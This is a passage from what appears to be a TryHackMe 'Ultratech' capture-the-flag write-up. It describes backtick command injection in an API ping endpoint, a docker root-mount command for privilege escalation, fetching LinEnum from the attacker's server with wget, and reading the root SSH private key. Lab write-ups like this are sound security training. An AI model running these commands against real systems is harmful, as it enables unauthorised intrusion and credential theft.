TryHackMe - Ultratech
Last updated
Last updated
Which software is using the port 8081? Node.js
Which other non-standard port is used? 31331
Which software using this port? Apache
Which GNU/Linux distribution seems to be used? Ubuntu
The software using the port 8081 is a REST api, how many of its routes are used by the web application? (response is found using wfuzz) 2
We can do the same for the admin password
There is a database lying around, what is its filename? utech.db.sqlite
What is the first user's password hash? I will let you find it on your own
This way we discover the ping endpoint http://${getAPIURL()}/ping?ip=${window.location.hostname}
We take it in our attacking machine wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh/
We serve it to our target with python server python3 -m http.server 80
We get it to our target wget http://10.13.22.56/LinEnum.sh
Let's have a look at gtfobins and search for docker, we find this(https://gtfobins.github.io/gtfobins/docker/) and we have an interesting command docker run -v /:/mnt --rm -it alpine chroot /mnt sh except instead of alpine we want to use bash
Let's take the chars of the root ssh key as requested in the question cat /root/.ssh/id_rsa
We have an auth endpoint that requires user and password
We also have a ping endpoint but it seems to need a parameter as well
We could try to pass it an ip
In ctf this kind of features often leads to cmd injection so we could try a command using backticks because it takes precedence over other commands (I tried with pipes and other ways but it did not work) , and it works
Let's try an ls
We get the name of the db file!
If we cat the fil we get password hashes for an admin and a user called r00t
If crack the hash with we get the password
We could also find things by checking the robots.txt file
We discover a sitemap
There is a partner page that we can not find when looking at the website. It is a login page
We can check the source code and this way we discover the auth endpoint of the api
We can then analyze the code of the api.js file http://10.10.12.178:31331/js/api.js
Let's try to ssh with the found passwords. It works!
Let's enumerate our ways to privesc with
We make it executable chmod +x LinEnum.sh we have an interesting output here
docker run -v /:/mnt --rm -it bash chroot /mnt sh and we get root!
